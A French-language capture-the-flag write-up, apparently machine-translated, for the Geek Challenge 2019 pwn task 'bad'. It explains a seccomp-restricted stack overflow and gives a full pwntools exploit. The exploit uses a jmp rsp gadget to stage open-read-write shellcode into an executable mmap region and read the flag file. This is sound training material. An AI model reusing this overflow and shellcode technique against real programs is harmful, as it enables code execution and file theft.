[Geek Challenge 2019] Pas mal
étape
-
Inspection de routine, programme 64 bits, inutile d'activer une protection
-
Faites un test local pour voir la situation générale. Selon les invites du programme, il s'agit d'un simple shellcode. D'après l'expérience, ce n'est certainement pas simple.
-
Chargement ida 64 bits. Introduction de
Baidu sur la fonction mmap .
Changez l'adresse à partir de 0x123000, la taille est de longueur 0x1000 et l'autorisation est modifiée en inscriptible et exécutable
sub_400949 (), filtrage sandbox
Utilisez pourseccomp-tools dump ./bad
voir quelles fonctions peuvent être utilisées , et
seule lecture est trouvée. Ecrire, ouvrir, quitter peut être utilisé. On estime que cette question devrait être obtenue en utilisantopen-->read-->write
une telle méthode orw pour obtenir l'indicateur
sub_400906 ()
sub_400A16 (), qui est une vulnérabilité de débordement évidente
-
L'idée de cette question est très simple, écrivez un shellcode de type orw, puis sautez pour exécuter, la taille de buf n'est que de 0x20, cela ne nous semble pas suffisant d'écrire une chaîne d'attaque rop complète, au début du programme , nous avons ouvert un espace exécutable 0x100, je prévois d'écrire le shellcode ici, puis d'utiliser le débordement de buf pour sauter pour exécuter notre shellcode
-
Commencez par écrire le shellcode de orw
mmap=0x123000
orw_payload=shellcraft.open('./flag') #打开根目录下的flag文件
orw_payload+=shellcraft.read(3,mmap,0x50) #读取文件标识符是3的文件0x50个字节存放到mmap分配的地址空间里
orw_payload+=shellcraft.write(1,mmap,0x50) #将mmap地址上的内容输出0x50个字节
Pour les spécificités du descripteur de fichier fd, voir cet article , permettez-moi d'en parler brièvement ici.
Le fd en lecture écrit 3 parce que le descripteur de fichier commence à partir de 3 lorsque le programme est exécuté, et le 1 en écriture est la sortie standard vers l'affichage. Ces points de connaissance sont dans le lien que j'ai donné.
- Ensuite, écrivez sur la chaîne d'attaque rop dans
buf. La tâche de la chaîne d'attaque rop dans buf est d'écrire orw_payload dans mmap, laissez le programme passer à mmap pour exécuter orw_payload et commencez à écrire la chaîne d'attaque rop après avoir déterminé le but.
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf里的rop是往mmap里读入0x100长度的数据,跳转到mmap的地址执行
De cette façon, le rop dans buf atteint le but que nous voulons. Ensuite, nous trouverons un moyen d'exécuter le contenu dans buf. On
constate que le programme a jmp rsp, qui peut être utilisé pour sauter à buf pour l'exécution. Le L'adresse buf est rsp-0x30.
sub rsp, 0x30; jmp rsp est inférieur à 8 octets pour répondre aux exigences.
La chaîne d'attaque Rop complète chez BUF
jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf里的rop是往mmap里读入0x100长度的数据,跳转到mmap的地址执行
payload=payload.ljust(0x28,'\x00')#buf的大小是0x20,加上rbp0x8是0x28,用’\x00‘去填充剩下的位置
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')#返回地址写上跳转到rsp
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)
De cette façon, la corde dans buf est également construite, et le reste peut être lu en passant orw_payload
Exp complète
from pwn import *
context.arch='amd64'
elf = ELF('./bad')
p = remote('node3.buuoj.cn',28461)
mmap=0x123000
orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap, 0x50)
orw_payload += shellcraft.write(1, mmap,0x50)
jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)
shellcode=asm(orw_payload)
p.sendline(shellcode)
p.interactive()